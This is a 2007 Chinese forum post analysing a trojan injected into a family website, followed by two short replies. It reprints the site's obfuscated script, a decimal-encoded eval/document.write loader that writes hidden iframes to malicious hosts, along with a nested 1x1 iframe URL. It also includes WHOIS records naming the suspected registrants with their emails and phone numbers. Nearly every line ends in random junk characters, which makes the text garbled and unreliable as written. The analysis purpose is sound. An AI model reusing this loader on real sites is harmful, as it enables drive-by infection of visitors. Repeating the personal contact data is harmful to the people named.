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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, oDn|2Sdqd  
c9wfsapJ  
http://www.areway.cn/?p=175 QA3/   
o`n$b(VZ  
EON:B>2a  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: `d\r;cE%lm  
          W$0^(FH[  
<script>t=’60,105,102,114,97,109,101, W3H+.E  
32,115,114,99,61,104,116,116,112,58,47,47, HCWNo  
102,114,101,101,46,117,45,117,117,117,46,99, Y}s@WJ  
110,47,101,114,114,111,114,46,104,116,109, {pL+2%`~  
32,119,105,100,116,104,61,49,48,48,32,104, %}-?bHB1c  
101,105,103,104,116,61,48,62,60,47,105,102, >R\lqLILb,  
114,97,109,101,62′; l +*&:Q/  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> cxIk<&i~(  
                                                                                                  a5Y IUVCv  
<script>t=’60,105,102,114,97,109,101,32,115, 424(3-/v;  
114,99,61,104,116,116,112,58,47,47,102,114, /,@p\Ae5  
101,101,46,117,45,117,117,117,46,99,110,47, piy`zc- yu  
101,114,114,111,114,46,104,116,109,32,119, q%Yn;g|_  
105,100,116,104,61,49,48,48,32,104,101,105, up>c$jJ  
103,104,116,61,48,62,60,47,105,102,114,97,  asHxL!  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :,B7-kBw  
document.write(t);</script> X] %itA  
                                                                                                  *v ?m6R=)h  
<html xmlns=” A A^{B  
http://www.w3.org/1999/xhtml 2ZcKK8X;7  
“> zK|i='XSf  
<head> PjKEC N  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> MUnEuhXTr  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> [F!Y%Zp  
<title>首页 - 爱生活家庭网 w[tmCn+  
                                                                                                                                                    }%7 NF*  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 #Tw@wfaq)  
转换字符串后的大概内容是(谁点击后果自付): c;?fMX  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… f>`dF?^6  
                                                                                                                                  1y#D?R=E  
查询玉米u-uuu.cn的详细信息: 3cdTed-MIh  
Domain Name: u-uuu.cn a 2 IgC25  
ROID: 20070901s10001s64972306-cn ryB}b1`D  
Domain Status: ok '2^7-3_1  
Registrant Organization: 王雷 >P6BW  
Registrant Name: 王雷 7%f&M>/  
Administrative Email: czlovexs@126.com L){iA-k;Ec  
Sponsoring Registrar: 北京万网志成科技有限公司 \K`L3*cBKK  
Name Server:ns.yovole.com 5GA C`}}  
Name Server:ns1.yovole.com ,R%q}IH#  
Registration Date: 2007-09-01 17:54  ]^'@ [<  
Expiration Date: 2008-09-01 17:54 [e[<p\]  
最后PING了一下地址 都没有什么…. I9h ?;(  
                                                                                                H0m|1 7  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. tW WWx~k  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Wbr+ KX8)  
<script language=”javascript” src=” xvl3vAN9  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script A,  3bC  
> f+8wl!M+6  
这个玉米应该有可能是木马作者的: o1 M$.*  
foafau.info的详细信息: n3A aZp[  
Access to INFO WHOIS information is provided to assist persons in (hiyNMC  
determining the contents of a domain name registration record in the <sK4#!K  
Afilias registry database. The data in this record is provided by >leU:7  
Afilias Limited for informational purposes only, and Afilias does not 4=<tWa|@9  
guarantee its accuracy.  This service is intended only for query-based 1`ayc|9BR  
access. You agree that you will use this data only for lawful purposes q$I:`&  
and that, under no circumstances will you use this data to: (a) allow, hn#1%p6t  
enable, or otherwise support the transmission by e-mail, telephone, or q`-;AG|xF  
facsimile of mass unsolicited, commercial advertising or solicitations  (x/k.&  
to entities other than the data recipient’s own existing customers; or =UUU$hq2  
(b) enable high volume, automated, electronic processes that send , ]bB9tid  
queries or data to the systems of Registry Operator, a Registrar, or ,) J~,^f6  
Afilias except as reasonably necessary to register domain names or ;)N>t\v  
modify existing registrations. All rights reserved. Afilias reserves '>r7V  
the right to modify these terms at any time. By submitting this query, EoK~S\dS  
you agree to abide by this policy. '!/<P"5t  
Domain ID:D22418703-LRMS hzkcP  
Domain Name:FOAFAU.INFO UQ{L{H   
Created On:20-Nov-2007 16:05:42 UTC Z&;uh_EC  
Last Updated On:20-Nov-2007 16:05:44 UTC *S2ypzwRZ,  
Expiration Date:20-Nov-2008 16:05:42 UTC [Xb@Wh:yG  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 9eH$XYy  
Status:CLIENT DELETE PROHIBITED u~A6bK*  
Status:CLIENT RENEW PROHIBITED BNL;Biy t7  
Status:CLIENT TRANSFER PROHIBITED uEX!xx?Q#  
Status:CLIENT UPDATE PROHIBITED JvY}-}?c  
Status:TRANSFER PROHIBITED H$y-8-&)  
Registrant ID:GODA-040110615 /~zai}  
Registrant Name:liu hong yUpgoX(6  
Registrant Organization: FCnm1x#  
Registrant Street1:beijing hCC<?5q  
Registrant Street2: (1#J%  
Registrant Street3: Q%xC}||1s"  
Registrant City:beijing 6i1LjLB  
Registrant State/Province: #Y$hNQQ$F  
Registrant Postal Code:100000 h*-Pr8  
Registrant Country:CN z CvKDlL  
Registrant Phone:+86.860108888777 PYGRsrcFd#  
Registrant Phone Ext.: )jt #=9ZQ  
Registrant FAX: /5u<78GW1  
Registrant FAX Ext.: 4O35 "1  
Registrant Email:bbbshiji@163.com ZMel{w`n  
Admin ID:GODA-240110615 x QIq^/F0  
Admin Name:liu hong @)fd}tV  
Admin Organization: 2 B  
Admin Street1:beijing p6;OL@ \~  
Admin Street2: 2nR[Xh?L  
Admin Street3: :Of^xj>A  
Admin City:beijing YJ\Xj56gv  
Admin State/Province: 8uWa=C)  
Admin Postal Code:100000 0tXS3+@n =  
Admin Country:CN "'t0h{W r8  
Admin Phone:+86.860108888777 .>WxDQIo  
Admin Phone Ext.: abyo4i5T  
Admin FAX: ; #&yn=^  
Admin FAX Ext.: XT4{Pe7{[P  
Admin Email:bbbshiji@163.com Le\?+h42>  
Billing ID:GODA-340110615 HhvdqvIEG  
Billing Name:liu hong x^y'P<ypw  
Billing Organization: y!_C/!d  
Billing Street1:beijing %^ !,t:d  
Billing Street2: JU)dr4S?  
Billing Street3: sG F aL  
Billing City:beijing ]x(!&y:h  
Billing State/Province: {0WHn.,2Y  
Billing Postal Code:100000 Z'.AAOG  
Billing Country:CN ;IZwTXu!S  
Billing Phone:+86.860108888777 c}2jmwq  
Billing Phone Ext.: eQ]~dA8>  
Billing FAX: 0 eDHu  
Billing FAX Ext.: m)'=G%y  
Billing Email:bbbshiji@163.com $w`=z<2yo1  
Tech ID:GODA-140110615 =`H@%  
Tech Name:liu hong 'F9jq  
Tech Organization: ]SLP}Jwy  
Tech Street1:beijing toBHkiuD  
Tech Street2: 4bYK}o S  
Tech Street3: 8ap%?  
Tech City:beijing z?R|Ok  
Tech State/Province: !WQ-=0cm  
Tech Postal Code:100000 oYm[V<nIl  
Tech Country:CN nH[yJGZYSA  
Tech Phone:+86.860108888777 Wa{`VS  
Tech Phone Ext.: @eKec1<  
Tech FAX: ddJe=PUb  
Tech FAX Ext.: ! t?iXZ  
Tech Email:bbbshiji@163.com :% ,:"  
Name Server:NS27.DOMAINCONTROL.COM Ezd_`_@R  
Name Server:NS28.DOMAINCONTROL.COM J;8IY=  
Name Server: wNpTM8rfU#  
Name Server: Y,^@P  
Name Server: CDK 5  
Name Server: !xo{-@@wS  
Name Server: /}b03  
Name Server: CTq&-l:f  
Name Server: Nh_Mz;ITuu  
Name Server: ?kbiMs1;u  
Name Server: c7x~{V8  
Name Server: e#$]Y?,  
Name Server: Lh!J >  
                                                                                                          '!!CeDy  
接着下载每个文件里面的代码: 8 Hg+H=?  
一步一步看.. 2fn&#kw/  
0=2@  
b*c*r dTx  
*zb Nd:i9  
K8GP@yD]M  
nxnv,AZG  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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